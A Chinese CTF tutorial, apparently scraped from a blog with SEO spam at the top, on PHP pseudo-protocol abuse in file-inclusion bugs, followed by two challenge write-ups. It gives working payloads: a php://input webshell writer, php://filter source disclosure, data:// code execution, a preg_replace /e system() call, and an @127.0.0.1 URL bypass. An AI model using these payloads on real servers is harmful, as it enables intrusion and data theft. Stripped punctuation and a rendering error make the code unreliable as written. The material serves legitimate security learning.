手机网站使用微信支付,企业网站怎样做,深圳好的网站建设公司排名,网站营销管理培训班文章目录 PHP伪协议php://协议data://协议file://协议phar://协议zip:// bzip2:// zlib://协议 过滤器 题目练习[BJDCTF 2020]ZJCTF#xff0c;不过如此BaseCTF[week1]Aura酱的礼物 PHP伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// … 文章目录 PHP伪协议php://协议data://协议file://协议phar://协议zip:// bzip2:// zlib://协议 过滤器 题目练习[BJDCTF 2020]ZJCTF不过如此BaseCTF[week1]Aura酱的礼物 PHP伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流I/O streams
zlib:// — 压缩流
data:// — 数据RFC 2397
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流php://协议
作用访问各个输入/输出流
php://input 用于执行php代码 1.读取POST数据 遇到file_get_contents()时可以利用php://input绕过然后使用post方式传入数据将post请求中的数据作为php代码执行
测试代码
?phpecho file_get_contents(php://input);
?2.写入木马
测试代码
?php$filename $_GET[filename];include($filename);
?http://www.exmpale.com/test.php?filephp://input 然后post传入一句话木马将post请求中的数据作为php代码执行
?PHP fputs(fopen(shell.php,w),?php eval($_POST[cmd])?);?3.命令执行
测试代码
?php$filename $_GET[filename];include($filename);
?http://www.exmpale.com/test.php?filephp://input 然后post传入系统执行命令将post请求中的数据作为php代码执行
php://filter 用于读取源码并需要进行编码输出不如会被当作php代码执行就看不到源代码内容了
?filephp://filter/readconvert.base64-encode/resourceindex.php
resource受过滤的数据流 //这个参数是必须的
read读链的筛选列表 //该参数可选可以设定多个过滤器以管道符(|)分隔data://协议
可以用来执行PHP代码
用法
data://text/plain,
data://text/plain;base64,
例如
?filedata://text/plain,?php phpinfo();?
?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8 //?php phpinfo();?的base64编码file://协议
用于访问本地文件系统后面接文件的绝对路径和文件名
phar://协议
与zip://协议类似同样可以访问zip格式压缩包内容
zip:// bzip2:// zlib://协议
都可以访问压缩文件中的子文件且不需要指定后缀名可以修改为任意后缀 例:
压缩 phpinfo.txt 为 phpinfo.zip 压缩包重命名为 phpinfo.jpg 并上传
http://127.0.0.1/include.php?filezip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt过滤器
字符串过滤器
字符串过滤器作用string.rot13等同于str_rot13()rot13变换string.toupper等同于strtoupper()转大写字母string.tolower等同于strtolower()转小写字母string.strip_tags等同于strip_tags()去除html、PHP语言标签
转换过滤器
转换过滤器作用convert.quoted-printable-encode / convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码convert.base64-encode / convert.base64-decode等同于base64_encode()和base64_decode()base64编码解码
压缩过滤器
压缩过滤器作用zlib.deflate zlib.inflate在本地文件系统中创建 gzip 兼容文件的方法但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。bzip2.compress bzip2.decompress同上在本地文件系统中创建 bz2 兼容文件的方法。
加密过滤器
压缩过滤器作用zlib.deflate zlib.inflate在本地文件系统中创建 gzip 兼容文件的方法但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。bzip2.compress bzip2.decompress同上在本地文件系统中创建 bz2 兼容文件的方法。
题目练习
[BJDCTF 2020]ZJCTF不过如此
题目源码
?phperror_reporting(0);
$text $_GET[text];
$file $_GET[file];
if(isset($text)(file_get_contents($text,r)I have a dream)){echo brh1.file_get_contents($text,r)./h1/br;if(preg_match(/flag/,$file)){die(Not now!);}include($file); //next.php}
else{highlight_file(__FILE__);
}
?第一层payload:/?textdata://text/pain,I have a dreamfilephp://filter/convert.base64-encode/resourcenext.php得到next.php内容
?php
$id $_GET[id];
$_SESSION[id] $id;function complex($re, $str) {return preg_replace(/( . $re . )/ei,strtolower(\\1),$str);
}foreach($_GET as $re $str) {echo complex($re, $str). \n;
}function getFlag(){eval($_GET[cmd]);
}preg_replace()/e 存在代码执行漏洞 e模式下preg_replace可以让第二个参数当作代码执行但是这里的第二个参数不可变。由于这种特殊情况正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区并且从1开始排序而strtolower(“\1”)刚好表达的就是匹配器第一个。
比如传入: ?.{${phpinfo()}} 原句: preg_replace(‘/(‘ . $re . ’)/ei’,’strtolower(“\1”)’,$str); 会变成preg_replace(‘/(’ . ‘)/ei’,‘strtolower(“\1”)’,**{KaTeX parse error: Expected EOF, got } at position 12: {phpinfo()}}̲**); 又因为当_GET传入首字母是非法字符时会把点. 变成下划线_ ,因此要将\.* 换成 \s*
payload:
next.php/?\S*${getFlag()}cmdsystem(%27ls%20/%27);flag在phpinfo里
/next.php/?\S*${phpinfo()}BaseCTF[week1]Aura酱的礼物 ?php
highlight_file(__FILE__);
// Aura 酱欢迎回家~
// 这里有一份礼物请你签收一下哟~
$pen $_POST[pen];
if (file_get_contents($pen) ! Aura)
{die(这是 Aura 的礼物你不是 Aura);
}// 礼物收到啦接下来要去博客里面写下感想哦~
$challenge $_POST[challenge];
if (strpos($challenge, http://jasmineaura.github.io) ! 0)
{die(这不是 Aura 的博客);
}$blog_content file_get_contents($challenge);
if (strpos($blog_content, 已经收到Kengwang的礼物啦) false)
{die(请去博客里面写下感想哦~);
}// 嘿嘿接下来要拆开礼物啦悄悄告诉你礼物在 flag.php 里面哦~
$gift $_POST[gift];
include($gift); PD9waHAgLy8gQmFzZUNURntiNzdiMDMxMi0zOGQ4LTQwZmQtYTkwMi04NjFlNGZjZjRlODV9ICBBdXJhIOmFseacieaLvWIsOS4gOihgOWQl8nwo第一层使用data伪协议这里检查的是文件内容是否等于不是变量的值是否等于
pendata://plain/text,Aura第二层检测目标字符串是否在challenge的开头
challengehttp://jasmineaura.github.io的file_get_contents可以用于发起http请求获取远程资源的内容。 这里使用 符号。 是虚拟域名在浏览器输入之后浏览器会识别后面的域名前面则是域名的配置信息。 在challenge尾部加上127.0.0.1这样file_gets_contents获取的就是当前页面的内容刚好包含目标字符串
第三层使用php://filter伪协议读flag即可
giftphp://filter/readconvert.base64-encode/resourceflag.phppayload:
pendata://text/plain;base64,QXVyYQchallengehttp://jasmineaura.github.io127.0.0.1giftphp://filter/readconvert.base64-encode/resourceflag.php